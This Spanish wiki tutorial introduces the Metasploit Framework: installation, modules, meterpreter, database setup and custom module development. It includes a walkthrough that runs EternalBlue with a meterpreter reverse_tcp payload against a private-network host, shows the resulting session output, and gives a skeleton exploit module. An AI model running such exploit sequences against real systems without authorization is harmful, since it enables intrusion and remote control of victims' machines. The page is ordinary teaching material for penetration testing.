[[hack_roadmap-0|Up]]
====== Metasploit Framework ======
El Metasploit Framework es una herramienta potente y ampliamente utilizada en el
ámbito de la seguridad informática y el hacking ético. Desarrollado
originalmente por H.D. Moore en 2003, Metasploit proporciona un entorno de
desarrollo modular que permite a los profesionales de la seguridad desarrollar,
probar y ejecutar exploits contra sistemas vulnerables. Su versatilidad y
extensibilidad lo han convertido en un estándar en las pruebas de penetración y
auditorías de seguridad.
===== Introducción al Metasploit Framework =====
==== Conceptos Clave: ====
* **Exploits:** Programas que aprovechan vulnerabilidades en el software.
* **Payloads:** Código que se ejecuta en el sistema objetivo tras la explotación.
* **Encoders:** Codifican payloads para evitar detección por sistemas de seguridad.
* **Auxiliary Modules:** Herramientas adicionales que no son exploits (escáneres, sniffers).
* **Post-Exploitation Modules:** Herramientas para operar en el sistema comprometido.
==== Recursos: ====
* [[https://github.com/rapid7/metasploit-framework|Metasploit Framework - GitHub]]
* [[https://www.offensive-security.com/metasploit-unleashed/|Metasploit Unleashed - Offensive Security]]
===== Instalación de Metasploit Framework =====
==== Requisitos: ====
* **Sistema Operativo:** Linux (Kali Linux es recomendado), Windows, macOS.
* **Dependencias:** Ruby, PostgreSQL.
==== Instalación en Kali Linux: ====
Metasploit viene preinstalado en Kali Linux, pero puede actualizarse o
instalarse si es necesario.
sudo apt update
sudo apt install metasploit-framework
==== Instalación en Ubuntu: ====
# Actualizar y instalar dependencias
sudo apt update
sudo apt install -y curl gpg
# Añadir el repositorio de Metasploit
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/debian/repo/metasploit-framework.gpg.key | sudo apt-key add -
echo "deb http://downloads.metasploit.com/data/releases/metasploit-framework/apt lucid main" | sudo tee /etc/apt/sources.list.d/metasploit-framework.list
# Instalar Metasploit
sudo apt update
sudo apt install metasploit-framework
==== Recursos: ====
* [[https://docs.rapid7.com/metasploit/|Metasploit Installation - Rapid7 Documentation]]
===== Componentes Principales de Metasploit Framework =====
==== msfconsole: ====
La interfaz principal de línea de comandos de Metasploit. Permite interactuar
con el framework y ejecutar módulos.
# Iniciar msfconsole
sudo msfconsole
==== Modules: ====
* **Exploits:** Aprovechan vulnerabilidades en software específico.
* **Payloads:** Código que se ejecuta tras la explotación.
* **Encoders:** Codifican payloads para evitar detección.
* **Nops:** No-Operation instructions, utilizadas para asegurar que los payloads funcionen correctamente.
* **Auxiliary Modules:** Incluyen escáneres, sniffers y herramientas de ataque adicionales.
* **Post-Exploitation Modules:** Herramientas para operar en un sistema comprometido (e.g., recolectar información, moverse lateralmente).
==== Meterpreter: ====
Un payload avanzado que proporciona una interfaz interactiva para el sistema
comprometido. Permite ejecutar comandos, transferir archivos y más.
meterpreter > sysinfo
Computer: victim
OS : Windows 10 (Build 18362).
meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18362.1016]
C:\Windows\system32>
==== Database: ====
Metasploit utiliza PostgreSQL para almacenar datos sobre hosts, servicios,
vulnerabilidades, etc.
# Iniciar el servicio de PostgreSQL
sudo service postgresql start
# Configurar Metasploit para usar la base de datos
msfdb init
==== Recursos: ====
* [[https://docs.rapid7.com/metasploit/metasploit-module-library/|Metasploit Module Library - Rapid7]]
* [[https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/|Meterpreter Basics - Offensive Security]]
===== Uso Básico de Metasploit =====
==== Ejemplo de Escaneo de Puertos con un Módulo Auxiliary: ====
msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set RHOSTS 192.168.1.0/24
msf auxiliary(tcp) > set PORTS 80,443,22
msf auxiliary(tcp) > run
==== Ejemplo de Ejecución de un Exploit: ====
* **Seleccionar y Configurar el Exploit:**
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > set RHOST 192.168.1.105
msf exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(ms17_010_eternalblue) > set LHOST 192.168.1.100
msf exploit(ms17_010_eternalblue) > run
* **Obtener una Sesión Meterpreter:**
[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.105:445 - Connecting to target for exploitation.
[*] 192.168.1.105:445 - Connection established for exploitation.
...
meterpreter > sysinfo
Computer : VICTIM-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
==== Recursos: ====
* [[https://docs.rapid7.com/metasploit/metasploit-basics/|Metasploit Basics - Rapid7 Documentation]]
* [[https://www.offensive-security.com/metasploit-unleashed/exploitation/|Metasploit Unleashed - Exploitation]]
===== Desarrollo y Personalización de Módulos en Metasploit =====
Metasploit permite a los usuarios crear y personalizar sus propios módulos, lo
cual es útil para pruebas de penetración avanzadas y para adaptar la herramienta
a necesidades específicas.
==== Ejemplo de un Módulo Básico: ====
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Example Exploit',
'Description' => %q{
This module is an example exploit.
},
'Author' => [ 'Your Name' ],
'License' => MSF_LICENSE,
'Payload' => {
'Space' => 1024,
'BadChars' => "\x00"
},
'Platform' => 'win',
'Targets' => [
[ 'Windows', { 'Ret' => 0x41414141 } ],
],
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(1234)
])
end
def exploit
connect
print_status("Sending payload...")
sock.put(payload.encoded)
disconnect
end
end
==== Recursos: ====
* [[https://www.offensive-security.com/metasploit-unleashed/module-development/|Developing Custom Metasploit Modules - Offensive Security]]
* [[https://docs.rapid7.com/metasploit/developing-modules/|Metasploit Module Development - Rapid7 Documentation]]
===== Conclusión =====
El Metasploit Framework es una herramienta esencial para los profesionales de la
seguridad y los pentesters. Su capacidad para desarrollar, probar y ejecutar
exploits de manera modular y su extensibilidad lo convierten en una plataforma
poderosa para realizar auditorías de seguridad y pruebas de penetración. Con un
conocimiento profundo de sus componentes y funcionalidades, los usuarios pueden
maximizar su eficacia en la identificación y explotación de vulnerabilidades en
diversos sistemas.
===== Recursos Adicionales =====
* [[https://www.offensive-security.com/metasploit-unleashed/|Metasploit Unleashed]] (Offensive Security)